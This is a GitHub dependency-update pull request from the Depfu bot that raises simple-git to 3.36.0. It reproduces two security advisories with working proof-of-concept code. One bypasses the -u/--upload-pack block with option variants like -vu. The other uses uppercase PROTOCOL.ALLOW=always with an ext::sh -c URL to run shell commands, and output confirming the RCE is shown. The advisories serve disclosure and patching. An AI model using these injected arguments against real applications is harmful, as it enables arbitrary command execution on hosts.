Skip to content

🚨 [security] Update simple-git 3.27.0 → 3.36.0 (minor)#570

Open
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/pnpm/simple-git-3.36.0
Open

🚨 [security] Update simple-git 3.27.0 → 3.36.0 (minor)#570
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/pnpm/simple-git-3.36.0

Conversation

@depfu
Copy link
Copy Markdown

@depfu depfu bot commented Apr 13, 2026


Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!



🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ simple-git (3.27.0 → 3.36.0) · Repo · Changelog

Security Advisories 🚨

🚨 simple-git Affected by Command Execution via Option-Parsing Bypass

Summary

simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is likely to affect all versions prior to and including 3.28.0.

Detail

This vulnerability was introduced by an incorrect patch for CVE-2022-25860.

It was reproduced in the following environment:


WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0

The issue was not reproduced on Windows 11.

The -u option, like --upload-pack, allows a command to be executed.

Currently, the -u and --upload-pack options are blocked in the file simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts.

function preventUploadPack(arg: string, method: string) {
   if (/^\s*--(upload|receive)-pack/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack`
      );
   }

if (method === 'clone' && /^\s*-u\b/.test(arg)) {
throw new GitPluginError(
undefined,
'unsafe',
Use of clone with option -u is not permitted without enabling allowUnsafePack
);
}

if (method === 'push' && /^\s*--exec\b/.test(arg)) {
throw new GitPluginError(
undefined,
'unsafe',
Use of push with option --exec is not permitted without enabling allowUnsafePack
);
}
}

However, the problem is that command option parsing is quite flexible.

By brute forcing, I found various options that bypass the -u check.

[
  '--u', '--u',
  '-4u', '-6u',
  '-lu', '-nu',
  '-qu', '-su',
  '-vu'
]

All of the above are three-character options that allow command execution. They enable execution even when allowUnsafePack is explicitly set to false.

The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the -u option, there is also the --upload-pack option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.

Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.

Just in case, I’ll share the brute-force code I used to find options that enable command execution.

const fs = require('fs');
const simpleGit = require('simple-git');

const TMP_DIR = './pwned/';
const ITER = 256;

function cleanTmpDir() {
if (fs.existsSync(TMP_DIR)) {
fs.rmSync(TMP_DIR, { recursive: true, force: true });
}
fs.mkdirSync(TMP_DIR, { recursive: true });
}

function getPwnedFiles() {
const found = [];
for (let i = 0; i < ITER; i++) {
const fname1 = <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">TMP_DIR</span><span class="pl-kos">}</span></span>1_<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>;
const fname2 = <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">TMP_DIR</span><span class="pl-kos">}</span></span>2_<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>;
const fname3 = <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">TMP_DIR</span><span class="pl-kos">}</span></span>3_<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>;
if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u');
if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u');
if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i));
}
return found;
}

async function runTest(runIdx) {
const git = simpleGit();
// 1. ${~}-u Pattern
for (let i = 0; i < ITER; i++) {
try {
await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', sh -c \"touch <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">TMP_DIR</span><span class="pl-kos">}</span></span>1_<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>\"]);
} catch {}
}
// 2. -${~}u Pattern
for (let i = 0; i < ITER; i++) {
try {
await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', sh -c \"touch <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">TMP_DIR</span><span class="pl-kos">}</span></span>2_<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>\"]);
} catch {}
}
// 3. -u${~} Pattern
for (let i = 0; i < ITER; i++) {
try {
await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), sh -c \"touch <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">TMP_DIR</span><span class="pl-kos">}</span></span>3_<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>\"]);
} catch {}
}
}

async function main() {
cleanTmpDir();
await runTest();

<span class="pl-k">const</span> <span class="pl-s1">found</span> <span class="pl-c1">=</span> <span class="pl-en">getPwnedFiles</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s1">found</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

}

main();

PoC

The environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors.

WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0

Create any git repository inside the testrepo1 folder. A very simple repository with a single commit and a single file is fine.

Run the following:

const { simpleGit } = require('simple-git');

async function main() {
const git = await simpleGit({ unsafe: { allowUnsafePack: false } });
await git.clone('./testrepo1', './testrepo2', [-vu sh -c \"touch /tmp/pwned\"]);
}

main();

This PoC explicitly configures allowUnsafePack to false. Of course, the same vulnerability occurs even without this option. An error is the expected behavior.

Check /tmp to confirm that pwned has been created.
If it failed, try replacing -vu with a different option from the list.

Impact

This vulnerability is likely to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).

🚨 simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE

Summary

The blockUnsafeOperationsPlugin in simple-git fails to block git protocol
override arguments when the config key is passed in uppercase or mixed case.
An attacker who controls arguments passed to git operations can enable the
ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an
arbitrary OS command on the host machine.


Details

The preventProtocolOverride function in
simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24)
checks whether a -c argument configures protocol.allow using this regex:

if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}

This regex is case-sensitive. Git treats config key names
case-insensitively — it normalises them to lowercase internally.
As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always,
or any mixed-case variant is not matched by the regex, the check
returns without throwing, and git is spawned with the unsafe argument.

Verification that git normalises the key:

$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always

The fix is a single character — add the /i flag:

// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {


poc.js

/**
 * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
 *
 * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Affected : simple-git >= 3.15.0 (all versions with the fix applied)
 * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5
 * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
'-c', 'protocol.ext.allow=always', // lowercase — caught by regex
]).catch((e) => {
console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
'-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex
]).catch((e) => {
console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});

// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
// simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
// '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST = '/tmp/codeant-quality-gates';
const SENTINEL_RW = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
attackerURL, // should have been LEGITIMATE_URL
CLONE_DEST,
userArgs
).catch(() => {
console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});


Test Results

Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)

Result: BLOCKED ✅

The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.

Output:

ext:: executed:poc not created
GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol
    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)
    at .../simple-git/dist/cjs/index.js:1266:40
    at Array.forEach (<anonymous>)
    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)
    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)
    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {
  task: {
    commands: [
      'clone',
      '-c',
      'protocol.ext.allow=always',
      'ext::sh -c touch% /tmp/pwn-original% >&2',
      '/tmp/example-new-repo'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  },
  plugin: 'unsafe'
}

Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)

Result: BYPASSED ⚠️ — RCE confirmed

The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.

Output:

ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {

task: {
commands: [
'clone',
'-c',
'PROTOCOL.ALLOW=always',
'ext::sh -c touch% /tmp/pwn-codeant% >&2',
'/tmp/example-new-repo-2'
],
format: 'utf-8',
parser: [Function: parser]
}
}

/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.


Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)

Result: BYPASSED ⚠️ — RCE confirmed

An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.

Output:

real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created

/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.


Summary

# Vector Payload Sentinel file Result
1 CVE-2022-25912 original protocol.ext.allow=always (lowercase) not created Blocked ✅
2 Case-sensitivity bypass PROTOCOL.ALLOW=always (uppercase) /tmp/pwn-codeant created RCE ⚠️
3 Real-world app scenario PROTOCOL.ALLOW=always + attacker URL /tmp/pwn-realworld created RCE ⚠️

The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.

/tmp/pwned is created by the git subprocess via the ext:: protocol.

All of the following bypass the check:

Argument passed via -c Regex matches? Git honours it?
protocol.allow=always ✅ blocked
PROTOCOL.ALLOW=always ❌ bypassed
Protocol.Allow=always ❌ bypassed
PROTOCOL.allow=always ❌ bypassed
protocol.ALLOW=always ❌ bypassed

Impact

Any application that passes user-controlled values into the customArgs
parameter of clone(), fetch(), pull(), push() or similar simple-git
methods is vulnerable to arbitrary command execution on the host machine.

The ext:: git protocol executes an arbitrary binary as a remote helper.
With protocol.allow=always enabled, an attacker can run any OS command
as the process user — full read, write and execution access on the host.


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added the depfu label Apr 13, 2026
@codeant-ai
Copy link
Copy Markdown
Contributor

codeant-ai bot commented Apr 13, 2026

Skipping PR review because a bot author is detected.

If you want to trigger CodeAnt AI, comment @codeant-ai review to trigger a manual review.

@socket-security
Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security
Vulnerability Quality Maintenance License
Addednpm/​@​faker-js/​faker@​9.0.1100100895080
Addednpm/​@​types/​gunzip-maybe@​1.4.21001006080100
Addednpm/​@​types/​uuid@​10.0.01001007081100
Addednpm/​@​types/​dagre@​0.7.521001007086100
Addednpm/​@​types/​react-dom@​18.3.01001007586100
Addednpm/​@​types/​lodash-es@​4.17.121001007780100
Addednpm/​@​types/​chai@​4.3.191001007781100
Addednpm/​@​types/​mocha@​10.0.81001007780100
Addednpm/​@​types/​react@​18.3.81001007988100
Addednpm/​@​types/​file-saver@​2.0.71001008080100
Addednpm/​@​types/​tar-fs@​2.0.41001008780100
Addednpm/​@​types/​node@​22.5.51001008196100
Addednpm/​@​octokit/​rest@​21.0.2991009081100
Addednpm/​camelize-ts@​3.0.010010010082100
Addednpm/​@​4tw/​cypress-drag-drop@​2.2.51001001008770
Addednpm/​@​rollup/​plugin-inject@​5.0.510010010084100
Addednpm/​@​rollup/​plugin-replace@​5.0.710010010085100
Addednpm/​@​rollup/​plugin-node-resolve@​15.2.39810010085100
Addednpm/​@​patternfly/​react-styles@​5.4.01001008599100
Addednpm/​chai@​5.1.19910010086100
Addednpm/​@​rollup/​plugin-terser@​0.4.41001009486100
Addednpm/​@​rollup/​plugin-typescript@​11.1.69910010086100
Addednpm/​@​testing-library/​cypress@​10.0.210010010087100
Addednpm/​@​testing-library/​dom@​10.4.09910010087100
Addednpm/​@​eslint/​js@​9.10.01001008791100
Addednpm/​@​eslint/​eslintrc@​3.1.09810010087100
Addednpm/​@​testing-library/​react@​16.0.19910010087100
Addednpm/​@​testing-library/​jest-dom@​6.5.09810010089100
Addednpm/​@​patternfly/​react-icons@​5.4.09010094100100
Addednpm/​@​noble/​hashes@​1.5.010010010090100
Addednpm/​@​patternfly/​react-code-editor@​5.4.191100100100100
Addednpm/​@​patternfly/​react-core@​5.4.09810092100100
Addednpm/​@​rollup/​plugin-commonjs@​26.0.19710010093100
See 6 more rows in the dashboard

View full report

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants